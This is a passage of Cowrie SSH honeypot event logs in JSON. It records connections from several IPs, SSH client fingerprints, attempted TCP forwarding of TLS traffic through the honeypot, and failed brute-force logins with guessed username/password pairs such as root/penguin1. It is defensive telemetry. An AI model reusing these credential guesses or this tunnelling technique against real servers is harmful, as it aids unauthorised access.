b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\n\\xac\\xd3\\xf9=\\xcan\\xef\\x12p\\xed\\xbb\\x05\\xe6\\xf3\\xa7\\xe5\\xca\\xcb\\xaa\\x9f\\xb6\\xaa`D\\x07\\xd6Z\\x9cq\\xd9\\x93 T\\x13\\t\\x1e/5\\x8f`\\x98\\xff\\xec:\\xeb>\\x8d\\xa6D\\x97\\x9d\\xc6\\x8d\\x96\\xde\\x99\\xa4\\xb6\\xe3\\xb6\"\\x90\\xc14\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\x1b\\xb5\\x82w\\x12\\x99\\x12\\xa9\\x96\\x81\\x91\\x16*\\x98\\xfa\\xc8!hL\\xfc\\xabv\\xee\\xe8s,\\xd2N\\xfe\\xe8z\\x15\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:00.869384Z","src_ip":"173.208.192.194","session":"79942157052e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"173.208.192.194","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:00.911312Z","session":"79942157052e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:01.036972Z","src_ip":"173.208.192.194","session":"79942157052e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe4\\xc3\\n5\\xe4a\\xe3\\xf1\\xbb\\x8e\\x19^M\\x1d\\xcb\\xda(\\xd9;\\x08I\\xa8\\xc3\\x05%\\x1c\\xbeE\\xba\\xb1\\x1dR ^\\xb7v\\xfa\\xe0\\\\\\xcf\\xe5\\xd7d\\x83\\xc1J\\xb3\\x90IM\\xc8\\xcf\\xd4\\x13\\x85\\xd4G\\x18\\xc0i?\\x837>\\x1f\\x00\"\\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\x02\\xb46!Mb\\'\\xa2\\x8fj\\xc6\\xe4nY5J\\x11c\\x17\\x90\\xfb;NT\\xc7,\\xcb#\\xdae\\x8d\\x13\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe4\\xc3\\n5\\xe4a\\xe3\\xf1\\xbb\\x8e\\x19^M\\x1d\\xcb\\xda(\\xd9;\\x08I\\xa8\\xc3\\x05%\\x1c\\xbeE\\xba\\xb1\\x1dR ^\\xb7v\\xfa\\xe0\\\\\\xcf\\xe5\\xd7d\\x83\\xc1J\\xb3\\x90IM\\xc8\\xcf\\xd4\\x13\\x85\\xd4G\\x18\\xc0i?\\x837>\\x1f\\x00\"\\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\x02\\xb46!Mb\\'\\xa2\\x8fj\\xc6\\xe4nY5J\\x11c\\x17\\x90\\xfb;NT\\xc7,\\xcb#\\xdae\\x8d\\x13\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:01.039730Z","src_ip":"173.208.192.194","session":"79942157052e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":25400,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a6604aa4c21","protocol":"ssh","message":"New connection: 91.92.40.36:25400 (159.203.135.109:22) [session: 5a6604aa4c21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:02.821637Z"}
{"eventid":"cowrie.session.closed","duration":"17.0","message":"Connection lost after 17.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:03.953554Z","src_ip":"91.92.40.36","session":"1b1227c0853a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:04.753404Z","src_ip":"91.92.40.36","session":"5a6604aa4c21","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:04.756767Z","src_ip":"91.92.40.36","session":"5a6604aa4c21","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"21","message":"login attempt [guest/21] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:05.691712Z","src_ip":"91.92.40.36","session":"f6072075bbac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:05.896500Z","src_ip":"173.208.192.194","session":"79942157052e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.6","message":"Connection lost after 16.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:09.810493Z","src_ip":"91.92.40.36","session":"f6072075bbac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":61538,"dst_ip":"159.203.135.109","dst_port":22,"session":"596682675bb0","protocol":"ssh","message":"New connection: 91.92.40.36:61538 (159.203.135.109:22) [session: 596682675bb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:11.083637Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":59908,"dst_ip":"159.203.135.109","dst_port":22,"session":"8fad180f3567","protocol":"ssh","message":"New connection: 103.27.238.116:59908 (159.203.135.109:22) [session: 8fad180f3567]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:12.362776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:12.367117Z","src_ip":"103.27.238.116","session":"8fad180f3567","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:12.645410Z","src_ip":"103.27.238.116","session":"8fad180f3567","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:13.305558Z","src_ip":"91.92.40.36","session":"596682675bb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:13.308414Z","src_ip":"91.92.40.36","session":"596682675bb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"penguin1","message":"login attempt [root/penguin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:13.481775Z","src_ip":"103.27.238.116","session":"8fad180f3567","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"user","message":"login attempt [ubuntu/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:14.593234Z","src_ip":"91.92.40.36","session":"5a6604aa4c21","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:14.761926Z","src_ip":"103.27.238.116","session":"8fad180f3567","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":51666,"dst_ip":"159.203.135.109","dst_port":22,"session":"0936c278c570","protocol":"ssh","message":"New connection: 91.92.40.36:51666 (159.203.135.109:22) [session: 0936c278c570]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:17.479129Z"}
{"eventid":"cowrie.session.closed","duration":"14.9","message":"Connection lost after 14.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:17.762379Z","src_ip":"91.92.40.36","session":"5a6604aa4c21","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:19.672106Z","src_ip":"91.92.40.36","session":"0936c278c570","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:19.675758Z","src_ip":"91.92.40.36","session":"0936c278c570","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Azure","password":"Azure","message":"login attempt [Azure/Azure] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:22.879424Z","src_ip":"91.92.40.36","session":"596682675bb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":51716,"dst_ip":"159.203.135.109","dst_port":22,"session":"210f27f48a61","protocol":"ssh","message":"New connection: 91.92.40.36:51716 (159.203.135.109:22) [session: 210f27f48a61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:23.720655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:03:26.503444Z","src_ip":"91.92.40.36","session":"210f27f48a61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 